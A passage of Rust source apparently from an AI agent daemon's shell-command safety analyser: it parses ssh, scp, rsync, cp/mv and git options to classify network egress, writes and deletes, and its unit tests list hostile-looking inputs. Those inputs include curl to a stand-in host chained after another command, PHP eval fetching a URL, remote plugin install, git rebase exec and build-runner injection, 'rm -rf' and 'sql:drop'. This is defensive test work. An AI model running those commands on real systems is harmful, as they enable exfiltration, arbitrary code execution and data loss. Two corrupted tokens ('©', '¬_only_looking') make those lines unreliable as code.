3764 ('m', OptionValue::Ignore),
3765 ('b', OptionValue::Ignore),
3766 ('e', OptionValue::Ignore),
3767 ('E', OptionValue::Write),
3768 ],
3769 long_flags: &[],
3770 long_valued: &[],
3771 long_equals: false,
3772 exact: &[],
3773 stop_at_positional: true,
3774};
3775
3776fn port_option(parsed: &ParsedOptions) -> Result<Option<u16>, ()> {
3777 match parsed
3778 .values
3779 .iter()
3780 .rev()
3781 .find(|(role, _)| *role == OptionValue::Port)
3782 {
3783 Some((_, port)) => port.parse::<u16>().map(Some).map_err(|_| ()),
3784 None => Ok(None),
3785 }
3786}
3787
3788fn ssh_host_effect(destination: &str, port: Option<u16>) -> Option<EffectKey> {
3790 if destination.matches('@').count() > 1 {
3791 return None;
3792 }
3793 let host = destination
3794 .rsplit_once('@')
3795 .map_or(destination, |(_, host)| host);
3796 egress_effect("ssh", host, port)
3797}
3798
3799fn ssh(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3802 let Some(parsed) = parse_options(&SSH, args) else {
3803 out.opaque();
3804 return;
3805 };
3806 apply_values(&parsed, cwd, out);
3807 let Ok(port) = port_option(&parsed) else {
3808 out.opaque();
3809 return;
3810 };
3811 let key = parsed.positionals.first().and_then(|destination| {
3812 if destination.contains("://") {
3813 let url = strict_url(destination)?;
3814 if url.scheme() != "ssh" {
3815 return None;
3816 }
3817 egress_effect("ssh", url.host_str()?, port.or(url.port()))
3818 } else {
3819 ssh_host_effect(destination, port)
3820 }
3821 });
3822 out.egress(key);
3823}
3824
3825fn remote_operand(operand: &str, scheme: &str, port: Option<u16>) -> Result<Option<EffectKey>, ()> {
3829 if operand.contains("://") {
3830 return url_effect(operand).map(Some).ok_or(());
3831 }
3832 if operand.starts_with(['/', '.', '~']) {
3833 return Ok(None);
3834 }
3835 let (user_host, rest) = match operand.find('[') {
3836 Some(open) => {
3838 let close = operand.find(']').ok_or(())?;
3839 if close < open || operand.as_bytes().get(close + 1) != Some(&b':') {
3840 return Err(());
3841 }
3842 (&operand[..=close], &operand[close + 1..])
3843 }
3844 None => match operand.split_once(':') {
3845 Some((before, _)) if !before.contains('/') => (before, &operand[before.len()..]),
3846 _ => return Ok(None),
3847 },
3848 };
3849 if user_host.is_empty() {
3850 return Err(());
3851 }
3852 if rest.starts_with("::") && scheme == "rsync" {
3854 let host = user_host
3855 .rsplit_once('@')
3856 .map_or(user_host, |(_, host)| host);
3857 return egress_effect("rsync", host, port.or(Some(873)))
3858 .map(Some)
3859 .ok_or(());
3860 }
3861 ssh_host_effect(user_host, port).map(Some).ok_or(())
3862}
3863
3864fn transfer(
3868 positionals: &[String],
3869 scheme: &str,
3870 port: Option<u16>,
3871 cwd: Option<&str>,
3872 out: &mut ShellAnalysis,
3873) -> Option<bool> {
3874 let Some((destination, sources)) = positionals.split_last().filter(|(_, s)| !s.is_empty())
3875 else {
3876 out.opaque();
3877 return None;
3878 };
3879 for source in sources {
3880 match remote_operand(source, scheme, port) {
3881 Ok(Some(key)) => out.add(key),
3882 Ok(None) => {}
3883 Err(()) => out.opaque(),
3884 }
3885 }
3886 match remote_operand(destination, scheme, port) {
3887 Ok(Some(key)) => {
3888 out.add(key);
3889 Some(false)
3890 }
3891 Ok(None) => {
3892 out.path(EffectClass::Write, destination, cwd);
3893 Some(true)
3894 }
3895 Err(()) => {
3896 out.opaque();
3897 None
3898 }
3899 }
3900}
3901
3902const SCP: OptionSpec = OptionSpec {
3903 flags: "346BCpqrTvA",
3904 valued: &[
3905 ('P', OptionValue::Port),
3906 ('i', OptionValue::Ignore),
3907 ('l', OptionValue::Ignore),
3908 ('c', OptionValue::Ignore),
3909 ],
3910 long_flags: &[],
3911 long_valued: &[],
3912 long_equals: false,
3913 exact: &[],
3914 stop_at_positional: false,
3915};
3916
3917fn scp(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3918 let Some(parsed) = parse_options(&SCP, args) else {
3919 out.opaque();
3920 return;
3921 };
3922 let Ok(port) = port_option(&parsed) else {
3923 out.opaque();
3924 return;
3925 };
3926 transfer(&parsed.positionals, "ssh", port, cwd, out);
3927}
3928
3929const RSYNC: OptionSpec = OptionSpec {
3930 flags: "avzrlptgoDhPnciuqHAXSWxRIKLkmyO",
3931 valued: &[('B', OptionValue::Ignore)],
3932 long_flags: &[
3933 "archive",
3934 "verbose",
3935 "compress",
3936 "recursive",
3937 "links",
3938 "perms",
3939 "times",
3940 "group",
3941 "owner",
3942 "devices",
3943 "specials",
3944 "human-readable",
3945 "progress",
3946 "partial",
3947 "dry-run",
3948 "checksum",
3949 "update",
3950 "quiet",
3951 "hard-links",
3952 "acls",
3953 "xattrs",
3954 "sparse",
3955 "whole-file",
3956 "one-file-system",
3957 "relative",
3958 "ignore-existing",
3959 "inplace",
3960 "append",
3961 "stats",
3962 "itemize-changes",
3963 "delete",
3964 "delete-before",
3965 "delete-during",
3966 "delete-after",
3967 "delete-delay",
3968 "delete-excluded",
3969 "remove-source-files",
3970 "prune-empty-dirs",
3971 "numeric-ids",
3972 "safe-links",
3973 "copy-links",
3974 "keep-dirlinks",
3975 "no-motd",
3976 "mkpath",
3977 ],
3978 long_valued: &[
3979 ("exclude", OptionValue::Ignore),
3980 ("include", OptionValue::Ignore),
3981 ("exclude-from", OptionValue::Ignore),
3982 ("include-from", OptionValue::Ignore),
3983 ("bwlimit", OptionValue::Ignore),
3984 ("timeout", OptionValue::Ignore),
3985 ("contimeout", OptionValue::Ignore),
3986 ("chmod", OptionValue::Ignore),
3987 ("max-size", OptionValue::Ignore),
3988 ("min-size", OptionValue::Ignore),
3989 ("password-file", OptionValue::Ignore),
3990 ],
3991 long_equals: true,
3992 exact: &[],
3993 stop_at_positional: false,
3994};
3995
3996fn rsync(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3997 let Some(parsed) = parse_options(&RSYNC, args) else {
3998 out.opaque();
3999 return;
4000 };
4001 let port = None;
4003 let Some(local_destination) = transfer(&parsed.positionals, "rsync", port, cwd, out) else {
4004 return;
4005 };
4006 let flag = |name: &str| parsed.long_flags.iter().any(|flag| flag.starts_with(name));
4007 let Some((destination, sources)) = parsed.positionals.split_last() else {
4008 return;
4009 };
4010 if flag("delete") && local_destination {
4013 out.path(EffectClass::Delete, destination, cwd);
4014 }
4015 if flag("remove-source-files") {
4017 for source in sources {
4018 if matches!(remote_operand(source, "rsync", port), Ok(None)) {
4019 out.path(EffectClass::Delete, source, cwd);
4020 }
4021 }
4022 }
4023}
4024
4025const COPY: OptionSpec = OptionSpec {
4026 flags: "rRfinpavLPHlsuxXTcdD",
4027 valued: &[('t', OptionValue::TargetDir)],
4028 long_flags: &[
4029 "archive",
4030 "recursive",
4031 "force",
4032 "interactive",
4033 "no-clobber",
4034 "verbose",
4035 "update",
4036 "parents",
4037 "no-target-directory",
4038 "dereference",
4039 "no-dereference",
4040 "one-file-system",
4041 "link",
4042 "symbolic-link",
4043 "preserve",
4044 "reflink",
4045 "strip-trailing-slashes",
4046 ],
4047 long_valued: &[
4048 ("target-directory", OptionValue::TargetDir),
4049 ("preserve", OptionValue::Ignore),
4050 ("no-preserve", OptionValue::Ignore),
4051 ("sparse", OptionValue::Ignore),
4052 ("reflink", OptionValue::Ignore),
4053 ("update", OptionValue::Ignore),
4054 ],
4055 long_equals: true,
4056 exact: &[],
4057 stop_at_positional: false,
4058};
4059
4060fn copied(program: &str, args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4063 let Some(parsed) = parse_options(©, args) else {
4064 out.unresolved();
4065 return;
4066 };
4067 let target_dir = parsed
4068 .values
4069 .iter()
4070 .rev()
4071 .find(|(role, _)| *role == OptionValue::TargetDir)
4072 .map(|(_, dir)| dir.clone());
4073 let (destination, sources) = match &target_dir {
4074 Some(dir) => (dir.as_str(), &parsed.positionals[..]),
4075 None => match parsed.positionals.split_last() {
4076 Some((destination, sources)) if !sources.is_empty() => (destination.as_str(), sources),
4077 _ => {
4078 out.unresolved();
4079 return;
4080 }
4081 },
4082 };
4083 out.path(EffectClass::Write, destination, cwd);
4084 if program == "mv" {
4085 for source in sources {
4086 out.path(EffectClass::Delete, source, cwd);
4087 }
4088 }
4089}
4090
4091const CREATE: OptionSpec = OptionSpec {
4092 flags: "aipcmhf",
4093 valued: &[
4094 ('t', OptionValue::Ignore),
4095 ('d', OptionValue::Ignore),
4096 ('r', OptionValue::Ignore),
4097 ],
4098 long_flags: &[
4099 "append",
4100 "ignore-interrupts",
4101 "no-create",
4102 "no-dereference",
4103 "parents",
4104 "verbose",
4105 ],
4106 long_valued: &[
4107 ("output-error", OptionValue::Ignore),
4108 ("date", OptionValue::Ignore),
4109 ("reference", OptionValue::Ignore),
4110 ("time", OptionValue::Ignore),
4111 ("mode", OptionValue::Ignore),
4112 ],
4113 long_equals: true,
4114 exact: &[],
4115 stop_at_positional: false,
4116};
4117
4118fn created(program: &str, args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4120 let spec = if program == "mkdir" {
4122 OptionSpec {
4123 flags: "pv",
4124 valued: &[('m', OptionValue::Ignore)],
4125 ..CREATE
4126 }
4127 } else {
4128 CREATE
4129 };
4130 match parse_options(&spec, args) {
4131 Some(parsed) => {
4132 for operand in &parsed.positionals {
4133 if operand != "-" {
4134 out.path(EffectClass::Write, operand, cwd);
4135 }
4136 }
4137 }
4138 None => out.unresolved(),
4139 }
4140}
4141
4142const GIT_CLONE: OptionSpec = OptionSpec {
4146 flags: "qvnls",
4147 valued: &[
4148 ('b', OptionValue::Ignore),
4149 ('o', OptionValue::Ignore),
4150 ('j', OptionValue::Ignore),
4151 ('u', OptionValue::Ignore),
4152 ('c', OptionValue::Ignore),
4153 ],
4154 long_flags: &[
4155 "quiet",
4156 "verbose",
4157 "progress",
4158 "no-checkout",
4159 "bare",
4160 "mirror",
4161 "single-branch",
4162 "no-single-branch",
4163 "no-tags",
4164 "shallow-submodules",
4165 "no-hardlinks",
4166 "local",
4167 "shared",
4168 "sparse",
4169 "recurse-submodules",
4170 ],
4171 long_valued: &[
4172 ("branch", OptionValue::Ignore),
4173 ("origin", OptionValue::Ignore),
4174 ("depth", OptionValue::Ignore),
4175 ("shallow-since", OptionValue::Ignore),
4176 ("shallow-exclude", OptionValue::Ignore),
4177 ("filter", OptionValue::Ignore),
4178 ("jobs", OptionValue::Ignore),
4179 ("upload-pack", OptionValue::Ignore),
4180 ("template", OptionValue::Ignore),
4181 ("separate-git-dir", OptionValue::Ignore),
4182 ("reference", OptionValue::Ignore),
4183 ("config", OptionValue::Ignore),
4184 ("recurse-submodules", OptionValue::Ignore),
4185 ],
4186 long_equals: true,
4187 exact: &[],
4188 stop_at_positional: false,
4189};
4190
4191const GIT_FETCH: OptionSpec = OptionSpec {
4192 flags: "qvafkmnpPtu",
4193 valued: &[('j', OptionValue::Ignore), ('o', OptionValue::Ignore)],
4194 long_flags: &[
4195 "quiet",
4196 "verbose",
4197 "progress",
4198 "force",
4199 "tags",
4200 "no-tags",
4201 "prune",
4202 "dry-run",
4203 "unshallow",
4204 "update-head-ok",
4205 "append",
4206 ],
4207 long_valued: &[
4208 ("depth", OptionValue::Ignore),
4209 ("deepen", OptionValue::Ignore),
4210 ("shallow-since", OptionValue::Ignore),
4211 ("shallow-exclude", OptionValue::Ignore),
4212 ("jobs", OptionValue::Ignore),
4213 ("upload-pack", OptionValue::Ignore),
4214 ("refmap", OptionValue::Ignore),
4215 ("server-option", OptionValue::Ignore),
4216 ("recurse-submodules", OptionValue::Ignore),
4217 ],
4218 long_equals: true,
4219 exact: &[],
4220 stop_at_positional: false,
4221};
4222
4223const GIT_PULL: OptionSpec = OptionSpec {
4224 flags: "qvnfkr",
4225 valued: &[
4226 ('s', OptionValue::Ignore),
4227 ('X', OptionValue::Ignore),
4228 ('j', OptionValue::Ignore),
4229 ('o', OptionValue::Ignore),
4230 ],
4231 long_flags: &[
4232 "quiet",
4233 "verbose",
4234 "progress",
4235 "force",
4236 "tags",
4237 "no-tags",
4238 "prune",
4239 "rebase",
4240 "no-rebase",
4241 "ff-only",
4242 "ff",
4243 "no-ff",
4244 "unshallow",
4245 "autostash",
4246 "no-autostash",
4247 ],
4248 long_valued: &[
4249 ("strategy", OptionValue::Ignore),
4250 ("strategy-option", OptionValue::Ignore),
4251 ("depth", OptionValue::Ignore),
4252 ("jobs", OptionValue::Ignore),
4253 ("rebase", OptionValue::Ignore),
4254 ("upload-pack", OptionValue::Ignore),
4255 ("recurse-submodules", OptionValue::Ignore),
4256 ],
4257 long_equals: true,
4258 exact: &[],
4259 stop_at_positional: false,
4260};
4261
4262const GIT_PUSH: OptionSpec = OptionSpec {
4263 flags: "qvfnud",
4264 valued: &[('o', OptionValue::Ignore)],
4265 long_flags: &[
4266 "quiet",
4267 "verbose",
4268 "progress",
4269 "force",
4270 "tags",
4271 "all",
4272 "mirror",
4273 "dry-run",
4274 "atomic",
4275 "follow-tags",
4276 "set-upstream",
4277 "delete",
4278 "prune",
4279 "force-with-lease",
4280 "no-verify",
4281 ],
4282 long_valued: &[
4283 ("push-option", OptionValue::Ignore),
4284 ("force-with-lease", OptionValue::Ignore),
4285 ("receive-pack", OptionValue::Ignore),
4286 ("exec", OptionValue::Ignore),
4287 ("repo", OptionValue::Ignore),
4288 ("recurse-submodules", OptionValue::Ignore),
4289 ],
4290 long_equals: true,
4291 exact: &[],
4292 stop_at_positional: false,
4293};
4294
4295fn git_remote(remote: &str) -> Result<Option<EffectKey>, ()> {
4299 if remote.contains("::") {
4301 return Err(());
4302 }
4303 if let Some(scheme_end) = remote.find("://") {
4304 return match &remote[..scheme_end] {
4305 "file" => Ok(None),
4306 "ext" => Err(()),
4307 _ => url_effect(remote).map(Some).ok_or(()),
4308 };
4309 }
4310 if remote.starts_with(['/', '.', '~']) {
4311 return Ok(None);
4312 }
4313 match remote.split_once(':') {
4314 Some((before, _)) if !before.contains('/') && !before.is_empty() => {
4315 ssh_host_effect(before, None).map(Some).ok_or(())
4316 }
4317 _ => Err(()),
4318 }
4319}
4320
4321fn git(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
4327 let Some(subcommand) = args.first().filter(|arg| !arg.starts_with('-')) else {
4328 out.opaque();
4329 return;
4330 };
4331 let rest = &args[1..];
4332 out.opaque();
4334 if subcommand == "ls-remote" {
4335 if let [remote] = rest
4336 && let Some(key) = url_effect(remote)
4337 {
4338 out.add(key);
4339 }
4340 return;
4341 }
4342 let spec = match subcommand.as_str() {
4343 "clone" => &GIT_CLONE,
4344 "fetch" => &GIT_FETCH,
4345 "pull" => &GIT_PULL,
4346 "push" => &GIT_PUSH,
4347 _ => {
4348 out.opaque();
4349 return;
4350 }
4351 };
4352 out.opaque();
4353 let Some(parsed) = parse_options(spec, rest) else {
4354 return;
4355 };
4356 let Some(remote) = parsed.positionals.first() else {
4357 return;
4358 };
4359 if let Ok(Some(key)) = git_remote(remote) {
4360 out.add(key);
4361 }
4362 if subcommand == "clone"
4363 && let Some(directory) = parsed.positionals.get(1)
4364 {
4365 out.path(EffectClass::Write, directory, cwd);
4366 }
4367}
4368
4369#[cfg(test)]
4370mod remote_inner_tests {
4371 use super::{recognizably_changes, remote_inner_only_reads};
4372
4373 #[test]
4376 fn only_a_recognized_change_counts() {
4377 for change in [
4378 "docker exec app-1 bash -lc 'printf x > /app/move.txt'",
4379 "docker exec app-1 chmod +x /app/run.sh",
4380 "ssh host 'sudo apt-get install -y nginx'",
4381 "sed -i 's/a/b/' notes.txt",
4382 "mkdir -p out && cp a.txt out/",
4383 "git commit -m synthetic",
4384 ] {
4385 assert!(recognizably_changes(change), "{change}");
4386 }
4387 for not_recognized in [
4388 "docker exec app-1 bash -lc 'ls /app; cat /app/a'",
4389 "docker exec app-1 python3 /app/run.py",
4390 "./deploy.sh",
4391 "ls -la",
4392 "sed 's/a/b/' notes.txt",
4393 ] {
4394 assert!(!recognizably_changes(not_recognized), "{not_recognized}");
4395 }
4396 }
4397
4398 #[test]
4403 fn a_heredoc_write_inside_a_remote_exec_is_a_change() {
4404 for change in [
4405 "docker exec app-1 bash -lc 'cat > /app/proc.py <<\"EOF\"\nimport csv\nprint(1)\nEOF'",
4406 "docker exec app-1 bash -lc 'cat > /app/proc.py <<'\"'\"'EOF'\"'\"'\nimport csv\nEOF\ncd /app && python3 proc.py'",
4407 "docker exec app-1 bash -lc 'cat > /app/proc.py <<EOF\nx = {\"a\": 1}\nEOF'",
4408 "docker exec app-1 bash -lc 'cd /app && cat <<EOF > out.txt\nhello\nEOF'",
4409 ] {
4410 assert!(recognizably_changes(change), "{change}");
4411 assert_eq!(remote_inner_only_reads(change), Some(false), "{change}");
4412 }
4413 }
4414
4415 #[test]
4417 fn the_command_inside_a_remote_exec_is_judged() {
4418 assert_eq!(
4419 remote_inner_only_reads("docker exec app-1 bash -lc 'ls -la /app; cat /app/a.txt'"),
4420 Some(true)
4421 );
4422 assert_eq!(
4423 remote_inner_only_reads(
4424 "docker exec -w /app app-1 bash -lc 'printf x > /app/move.txt'"
4425 ),
4426 Some(false)
4427 );
4428 assert_eq!(
4429 remote_inner_only_reads("docker exec -e K=v app-1 rm -f /app/old.log"),
4430 Some(false)
4431 );
4432 assert_eq!(
4433 remote_inner_only_reads("ssh -p 2222 host cat /etc/hostname"),
4434 Some(true)
4435 );
4436 assert_eq!(
4437 remote_inner_only_reads("ssh host 'systemctl restart nginx'"),
4438 Some(false)
4439 );
4440 assert_eq!(
4441 remote_inner_only_reads("kubectl exec pod-1 -- sh -c 'ls /data'"),
4442 Some(true)
4443 );
4444 assert_eq!(
4445 remote_inner_only_reads("docker compose exec -T web sh -c 'cat /srv/a'"),
4446 Some(true)
4447 );
4448 assert_eq!(
4449 remote_inner_only_reads("lxc exec box -- touch /tmp/a"),
4450 Some(false)
4451 );
4452 assert_eq!(
4453 remote_inner_only_reads("vagrant ssh -c 'ls /vagrant'"),
4454 Some(true)
4455 );
4456 assert_eq!(
4457 remote_inner_only_reads("gcloud compute ssh vm-1 --command='rm -f /tmp/a'"),
4458 Some(false)
4459 );
4460 assert_eq!(remote_inner_only_reads("ls /app"), None);
4462 assert_eq!(remote_inner_only_reads("docker ps"), None);
4463 assert_eq!(
4464 remote_inner_only_reads("docker exec app-1 ls && rm -rf /tmp/x"),
4465 None
4466 );
4467 }
4468}
4469
4470#[cfg(test)]
4471mod tests {
4472 #[test]
4476 fn a_ddev_project_command_acts_on_its_own_project() {
4477 for own in [
4478 "ddev drush watchdog:show --count=8",
4479 "ddev drush cr",
4480 "ddev wp option update blogname 'Claude Company' --path=web",
4481 "ddev wp user update 1 --display_name=Admin",
4482 ] {
4483 assert!(super::acts_on_its_ddev_project(own), "{own}");
4484 }
4485 for other in [
4486 "ddev drush php:eval 'file_get_contents(\"https://x.invalid\");'",
4487 "ddev wp eval 'echo 1;'",
4488 "ddev wp plugin install https://x.invalid/p.zip",
4489 "ddev drush sql:dump > /tmp/dump.sql",
4490 "ddev exec curl https://x.invalid",
4491 "ddev drush --eval=1 status",
4492 "cd /elsewhere && ddev drush cr",
4493 "ddev drush cr; curl https://x.invalid",
4494 ] {
4495 assert!(!super::acts_on_its_ddev_project(other), "{other}");
4496 }
4497 }
4498
4499 use super::*;
4500
4501 #[test]
4503 fn a_command_is_labelled_by_its_program() {
4504 assert_eq!(
4505 program_label("for i in $(seq 1 200); do echo $i; sleep 2; done; echo done"),
4506 "a shell loop"
4507 );
4508 assert_eq!(
4509 program_label("while kill -0 123; do sleep 5; done"),
4510 "a shell loop"
4511 );
4512 assert_eq!(program_label("cd /srv/demo && ddev start"), "ddev");
4513 assert_eq!(program_label("ddev drush site:install -y"), "ddev");
4514 assert_eq!(
4515 program_label("FOO=1 nohup /usr/bin/python3 serve.py"),
4516 "python3"
4517 );
4518 assert_eq!(program_label(""), "a command");
4519 }
4520
4521 const INSPECT_SITES: &str = "cd /Users/alice/projects && for d in claude-drupal \
4531 claude-wordpress; do echo \"== $d\"; ls -la $d | head -30; ls $d/.ddev 2>&1 | head; \
4532 (cd $d && ddev describe 2>&1 | head -25); done";
4533
4534 #[test]
4535 fn a_read_only_loop_with_a_subshell_is_local_work() {
4536 let effects = command_effects(INSPECT_SITES);
4537 assert!(effects.local_work_only, "{INSPECT_SITES}");
4538 assert!(!effects.deletes);
4539 assert!(reaches_only_this_computer(INSPECT_SITES));
4540 assert!(!fetches_network(INSPECT_SITES));
4541 for read in [
4543 "for d in a b; do echo \"== $d\"; ls -la $d | head -30; done",
4544 "(ls -la /tmp && pwd) 2>&1 | head",
4545 "for d in a b; do for f in x y; do cat ${d}/$f; done; done",
4546 "for f in *.log; do tail -5 $f; done",
4547 ] {
4548 assert!(command_effects(read).observation_only, "{read}");
4549 }
4550
4551 let deleting = INSPECT_SITES.replace("ls -la $d | head -30", "rm -rf $d");
4552 let effects = command_effects(&deleting);
4553 assert!(
4554 effects.deletes && effects.delete_targets.is_none(),
4555 "{deleting}"
4556 );
4557 assert!(!effects.observation_only);
4558 assert!(!reaches_only_this_computer(&deleting));
4559 let writing = INSPECT_SITES.replace("ls -la $d | head -30", "ls -la $d > notes.txt");
4560 assert!(!command_effects(&writing).observation_only, "{writing}");
4562
4563 for not_understood in [
4564 "for x in \"-o out\"; do sort $x f; done",
4566 "for x in $FLAGS; do sort $x f; done",
4567 "for x in -o; do sort $x out f; done",
4568 "for x in -delete; do find . $x; done",
4569 "for p in ls rm; do $p x; done",
4571 "for p in rm; do (cd /tmp && $p -rf x); done",
4572 "for p in ls; do $p x; done; rm y",
4573 "for d in a; do ls $d",
4574 "for d in a; ls $d; done",
4575 "for d; do ls $d; done",
4576 "for ((i=0;i<3;i++)); do ls; done",
4577 "while true; do ls; done",
4578 "if true; then ls; fi",
4579 "ls (cd x)",
4580 "(ls) ls",
4581 "(ls",
4582 "ls)",
4583 "f() (ls); f",
4584 "(echo $(rm x))",
4585 ] {
4586 let effects = command_effects(not_understood);
4587 assert!(!effects.observation_only, "{not_understood}");
4588 assert!(!effects.local_work_only, "{not_understood}");
4589 }
4590 }
4591
4592 #[test]
4595 fn the_folders_a_read_only_command_looks_inside_are_named() {
4596 assert_eq!(
4597 looked_inside(INSPECT_SITES),
4598 ["claude-drupal", "claude-wordpress"]
4599 );
4600 assert_eq!(
4601 looked_inside("ls -la /srv/www/shop/ && du -sh logs/2026"),
4602 ["shop", "logs"]
4603 );
4604 assert_eq!(
4605 looked_inside("tree -L 2 src && find app -name '*.php'"),
4606 ["src", "app"]
4607 );
4608 assert!(looked_inside("ls ~ . .. $HOME *.txt").is_empty());
4609 assert!(looked_inside("cat notes.txt").is_empty());
4610 for not_only_looking in [
4611 INSPECT_SITES.replace("ls -la $d | head -30", "rm -rf $d"),
4612 INSPECT_SITES.replace("ls -la $d | head -30", "ls -la $d > notes.txt"),
4613 "ls site && curl -s http://localhost:5173/".to_string(),
4614 "ls site && cargo build".to_string(),
4615 ] {
4616 assert!(
4617 looked_inside(¬_only_looking).is_empty(),
4618 "{not_only_looking}"
4619 );
4620 }
4621 }
4622
4623 #[test]
4624 fn a_command_card_carries_its_typed_effects() {
4625 use aidaemon_core::{CardAction, HighImpact};
4626 let card = command_card(INSPECT_SITES, Some("check the site folders".to_string()));
4627 assert_eq!(card.impact, None);
4628 assert!(matches!(
4629 &card.action,
4630 CardAction::Command { looks_inside, title: Some(_), line }
4631 if looks_inside.len() == 2 && line == INSPECT_SITES
4632 ));
4633 assert_eq!(
4634 command_card("rm -rf build dist", None).impact,
4635 Some(HighImpact::Deletes {
4636 targets: vec!["build".to_string(), "dist".to_string()]
4637 })
4638 );
4639 assert_eq!(
4640 command_card("curl -X POST https://example.invalid/hook", None).impact,
4641 Some(HighImpact::Sends)
4642 );
4643 }
4644
4645 #[test]
4648 fn a_local_site_check_only_reads_this_computer() {
4649 for read in [
4650 "curl -s -o /dev/null -w '%{http_code}' https://shop-synthetic.localhost/",
4651 "curl -sI https://127.0.0.1:8443/ | head -5",
4652 "cd /tmp/site && ddev describe && curl -s http://localhost:5173/ | grep -c title",
4653 INSPECT_SITES,
4654 ] {
4655 assert!(only_reads_this_computer(read), "{read}");
4656 }
4657 for not_a_read in [
4658 "curl -s -o page.html https://shop-synthetic.localhost/",
4659 "curl -sSo page.html http://localhost:5173/",
4660 "curl -s -c jar http://localhost:5173/",
4661 "curl -s https://example.invalid/",
4662 "curl -s -X POST http://localhost:5173/x",
4663 "curl -s http://localhost:5173/ > page.html",
4664 "wget http://localhost:5173/",
4665 "ddev start",
4666 "cargo build",
4667 ] {
4668 assert!(!only_reads_this_computer(not_a_read), "{not_a_read}");
4669 }
4670 }
4671
4672 #[test]
4673 fn ddev_status_queries_are_local_work() {
4674 for query in [
4675 "ddev describe",
4676 "cd /srv/demo && ls -la ADMIN_PASSWORD.txt && ddev wp core is-installed; \
4677 echo \"is-installed exit: $?\"; ddev wp option get siteurl",
4678 "ddev wp core version --allow-root",
4679 "ddev drush status --field=bootstrap",
4680 "ddev wp plugin list --format=json",
4681 ] {
4682 let effects = command_effects(query);
4683 assert!(effects.local_work_only, "{query}");
4684 assert!(!fetches_network(query), "{query}");
4685 }
4686 for other in [
4687 "ddev start",
4688 "ddev wp plugin install akismet",
4689 "ddev wp core download",
4690 "ddev wp --exec='echo 1;' option get siteurl",
4691 "ddev wp option get siteurl --require=/tmp/x.php",
4692 "ddev exec curl https://example.invalid",
4693 "ddev ssh",
4694 "ddev drush sql:drop",
4695 "ddev",
4696 ] {
4697 assert!(!command_effects(other).local_work_only, "{other}");
4698 }
4699 }
4700
4701 #[test]
4704 fn path_effects_read_one_argument_one_way() {
4705 for raw in ["/tmp/a]b", "/tmp/a[b", "~someone/x", "rel/x"] {
4706 assert!(
4707 path_effect(EffectClass::Write, raw, None).is_none(),
4708 "{raw}"
4709 );
4710 assert!(
4711 shell_path_effects(EffectClass::Write, raw, None).is_none(),
4712 "{raw}"
4713 );
4714 }
4715 assert_eq!(
4716 structural_absolute_path("notes.txt", Some("/srv/app/")),
4717 Some("/srv/app/notes.txt".to_string())
4718 );
4719 }
4720
4721 #[test]
4724 fn xargs_path_operands_are_undeterminable() {
4725 assert_eq!(path_operands("xargs cat < list.txt"), None);
4726 assert_eq!(path_operands("cat list.txt | xargs cat"), None);
4727 }
4728
4729 #[test]
4730 fn local_work_and_delete_targets_are_typed_by_structure() {
4731 for local in [
4732 "cargo test > out.log 2>&1",
4733 "cargo fmt\ncargo test",
4734 "cd /tmp/aidaemon-test/p && git status",
4735 "rm -f a.o b.o",
4736 ] {
4737 assert!(command_effects(local).local_work_only, "{local}");
4738 }
4739 for other in [
4740 "cargo test < input.txt",
4741 "git -C /tmp/aidaemon-test/p commit -m x",
4742 "npm install",
4743 "sh -c 'cargo test'",
4744 "cargo test # done",
4745 "tee out.log",
4746 "git rebase -x 'curl x' HEAD~1",
4748 "git rebase --exec='curl x' HEAD~1",
4749 "git rebase --exec 'curl x' HEAD~1",
4750 "git commit -c HEAD",
4751 "cargo test --config 'target.x.runner=\"sh\"'",
4752 "cargo build --config=build.rustc-wrapper=x",
4753 "make --eval='$x'",
4754 "make -E x",
4755 "make -E'$x'",
4756 "go build --toolexec=x",
4757 "go build -toolexec x ./...",
4758 "go test -exec=x ./...",
4759 "python3 /dev/stdin",
4760 "python3 -",
4761 "node /dev/fd/3",
4762 "npm exec x",
4763 "pnpm dlx x",
4764 "yarn dlx x",
4765 ] {
4766 assert!(!command_effects(other).local_work_only, "{other}");
4767 }
4768 for local in [
4769 "git rebase main",
4770 "make -j4 all",
4771 "go test ./...",
4772 "node scripts/x.js",
4773 ] {
4774 assert!(command_effects(local).local_work_only, "{local}");
4775 }
4776 assert_eq!(
4777 command_effects("rm -rf -- -odd build && find out -delete").delete_targets,
4778 Some(vec!["-odd".into(), "build".into(), "out".into()])
4779 );
4780 for unknown in [
4781 "rm \"$X\"",
4782 "git clean -fd",
4783 "xargs rm",
4784 "rm `ls`",
4785 "find -delete",
4786 "find -L / -delete",
4787 "rm -rf {a,b}",
4788 "cd x && rm y",
4789 ] {
4790 assert_eq!(command_effects(unknown).delete_targets, None, "{unknown}");
4791 }
4792 assert!(!command_effects("ls > out").observation_only);
4794 }
4795
4796 #[test]
4797 fn command_effects_types_observation_by_structure() {
4798 for observing in [
4799 "ls /tmp",
4800 "git status",
4801 "grep -r x .",
4802 "cat a 2>&1 | head",
4803 "ls > /dev/null",
4804 "ls 2>/dev/null",
4805 "echo 'a > b'",
4806 "git branch --list",
4807 "git branch",
4808 "find . -name '*.rs'",
4809 "date +%Y",
4810 "date -u",
4811 "date -u +%H:%M",
4812 "date --utc",
4813 "date -R",
4814 "date -Iseconds",
4815 "date --iso-8601=seconds",
4816 "tree -a -L 2",
4817 "uniq -c f",
4818 "date",
4819 "/usr/bin/ls",
4820 "rg -n foo src",
4821 "sort -u f",
4822 "cat < /dev/null",
4823 "test ! -e restart-check.txt",
4824 "[ -f Cargo.toml ]",
4825 "test -d src && ls src",
4826 "sleep 18",
4827 "sleep 0.5",
4828 "sleep 2m",
4829 "sleep 5 && cat out.log",
4830 "TZ=Asia/Tokyo date '+%I:%M %p'",
4833 "date -u '+%Y'; TZ=Europe/London date '+London %H'",
4834 "for city in Asia/Tokyo Europe/Paris; do TZ=\"$city\" date '+%Z'; done",
4835 "LC_ALL=C sort -u f",
4836 "find . -maxdepth 1 -type f -name '*.rs' -exec stat -f '%z %N' {} + | sort -nr",
4837 "find . -name '*.rs' -exec wc -l {} \\;",
4838 "df -h /System/Volumes/Data; top -l 1 -n 0 | grep PhysMem; sysctl -n hw.memsize",
4839 "top -b -n 1",
4840 "sysctl -a",
4841 "git branch --show-current && git rev-list --count master..HEAD && git log -1 --format=%s",
4842 "sw_vers -productVersion; hostname; uptime",
